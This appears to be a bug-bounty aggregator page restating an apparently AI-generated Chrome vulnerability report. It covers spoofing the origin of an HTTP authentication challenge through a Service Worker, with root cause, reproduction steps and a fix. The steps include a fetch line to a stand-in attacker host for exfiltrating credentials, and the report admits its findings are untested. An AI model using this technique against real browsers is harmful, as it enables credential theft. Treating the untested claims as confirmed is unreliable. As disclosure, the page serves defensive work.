Improper input validation in Auth (CVE-2026-95382)
A compromised renderer could spoof the origin of an HTTP authentication challenge via a Service Worker navigation intercept, causing the browser to display a legitimate URL in the login dialog but cache the entered credentials under the attacker's origin. The attacker could then exfiltrate those credentials in subsequent cross-origin requests.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 6 months
Project Fortify, an experimental security project, has identified the following potential security issue.
Overview: A compromised renderer can spoof the origin of an HTTP authentication challenge by returning a fabricated AuthChallengeInfo from a Service Worker navigation intercept. The browser's native login dialog displays the legitimate navigation URL to the user, but caches the entered credentials under the attacker's spoofed origin. These stolen credentials are then automatically exfiltrated to the attacker's server in subsequent cross-origin requests.
Affected files:
chrome/browser/ui/login/login_tab_helper.ccthird_party/blink/common/service_worker/service_worker_loader_helpers.ccservices/network/network_context.cccontent/browser/renderer_host/navigation_request.ccchrome/browser/ui/login/login_handler.ccnet/http/http_auth_cache.ccnet/http/http_auth_controller.cc
Estimated timestamp from git blame: 2022-10-08
Summary
There is a potential vulnerability where a compromised renderer process can exploit Service Worker navigation interception to perform UI spoofing and poison the browser's HTTP authentication cache.
When a Service Worker intercepts a main-frame navigation, it can return a response via the ServiceWorkerFetchResponseCallback::OnResponse Mojo interface. This FetchAPIResponse contains an optional auth_challenge_info field. A compromised renderer can populate this field with a 401 status and a spoofed challenger origin (e.g., https://attacker.example).
The browser process accepts this information without sufficient validation in release builds, leading to a scenario where the user is presented with a native OS authentication dialog displaying the legitimate navigation URL, but the credentials they enter are saved and sent to the attacker's origin.
Root Cause
- Missing Validation on IPC Receive: In
third_party/blink/common/service_worker/service_worker_loader_helpers.cc, theSaveResponseInfofunction blindly copies theauth_challenge_infofrom the renderer-supplied response into theURLResponseHeadused by the browser. - UI vs. Cache Discrepancy:
LoginHandler::GetDialogStrings(inchrome/browser/ui/login/login_handler.cc) formats the native dialog's "authority" string using the legitimaterequest_url(e.g.,https://legitimate.example). The user sees this and believes they are authenticating to the legitimate site.- However,
LoginTabHelper::HandleCredentials(inchrome/browser/ui/login/login_tab_helper.cc) uses the attacker-controlledchallenge_(which containshttps://attacker.exampleas thechallenger) when callingNetworkContext::AddAuthCacheEntry.
- Bypassed Security Check: The only check currently in place to ensure the
challengerorigin matches therequest_urlorigin is aDCHECKinLoginHandler::MakeInputForPasswordManager(chrome/browser/ui/login/login_handler.cc:333). BecauseDCHECKmacros are compiled out in Release and Official builds, this critical validation is silently bypassed in production.
Suggested Steps to Reproduce
Note: These steps are potential as our tooling agent does not run code, but are based on tracing the codebase logic.
- Assume an attacker compromises a renderer process that has a Service Worker registered for a scope (e.g.,
https://legitimate.example/). - The user initiates a main-frame navigation within that scope (e.g.,
https://legitimate.example/login). - From the compromised Service Worker, the attacker intercepts the request and invokes
ServiceWorkerFetchResponseCallback::OnResponsewith a fabricatedFetchAPIResponsewhere:status_codeis 401.auth_challenge_info.challengeris set to an attacker-controlled origin (e.g.,https://attacker-collector.example).auth_challenge_info.schemeis set to 'basic'.
- The browser receives the response and triggers
LoginTabHelper::DidFinishNavigation. - The browser displays a native HTTP authentication dialog. Crucially, the dialog displays
https://legitimate.example, deceiving the user. - The user enters their credentials into the dialog.
- The browser caches these credentials in the
HttpAuthCacheunder the keyhttps://attacker-collector.example. - The attacker's compromised renderer triggers a subresource fetch to
https://attacker-collector.example/(e.g.,fetch("https://attacker-collector.example/exfiltrate")). - The Network Service's
HttpAuthController::SelectPreemptiveAuthmatches the poisoned entry and automatically attaches the user's plaintext credentials in anAuthorizationheader to the outgoing request, exfiltrating them to the attacker's server.
Impact
This vulnerability allows a compromised renderer to steal user credentials by deceiving the user with a legitimate-looking native OS prompt, and then exfiltrating those credentials to an attacker-controlled server. This is a significant breach of the renderer-to-browser security boundary (sandbox escape/privilege escalation).
Suggested Fix
The browser process must validate the auth_challenge_info received from a renderer before trusting it.
- In
ServiceWorkerMainResourceLoader::StartResponse(or a similar central location where the Service Worker response is processed), add a check to verify that ifauth_challenge_infois present and it is not a proxy challenge (!is_proxy), thechallengerorigin must match the origin of the request URL (or the Service Worker's origin). - If the validation fails, the browser should reject the response, potentially terminating the misbehaving renderer process (using
mojo::ReportBadMessage), as this indicates a compromised or malicious renderer attempting UI spoofing/cache poisoning. - Upgrade the
DCHECKinLoginHandler::MakeInputForPasswordManagerto aCHECKor handle the error gracefully to provide defense-in-depth.
Evaluated with Chrome root at commit: a9cbf6e8b275fe4147435aa905f3b7f5a656f5f0
Results from so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the browser process trusts the authentication challenge information supplied by the renderer without validating that the challenger origin matches the request URL, and the only check is a debug-only assertion that is removed in release builds.
Impact
This could allow a compromised renderer to steal user credentials by deceiving the user with a legitimate-looking native prompt and exfiltrating them to an attacker-controlled server, breaching the renderer-to-browser security boundary.
What the attacker needed
Compromised renderer process; Service Worker registered for a scope; user enters credentials in dialog
The fix
The browser process should validate the authentication challenge information received from a renderer, rejecting responses where the challenger origin does not match the request URL, and upgrade the debug-only check to a release check.
How it was found
- Assume an attacker compromises a renderer process that has a Service Worker registered for a scope.
- The user initiates a main-frame navigation within that scope.
- The compromised Service Worker intercepts the request and returns a fabricated response with a 401 status and a spoofed challenger origin.
- The browser displays a native HTTP authentication dialog showing the legitimate URL.
- The user enters their credentials, which are cached under the attacker's origin.
- The attacker triggers a subresource fetch to their origin, and the browser automatically attaches the stolen credentials.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a website asks for a username and password, the browser shows a pop-up. This report says a malicious website could make the pop-up show the real site's address while secretly saving the password for the attacker's site. Then the attacker's site could automatically receive the password later.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.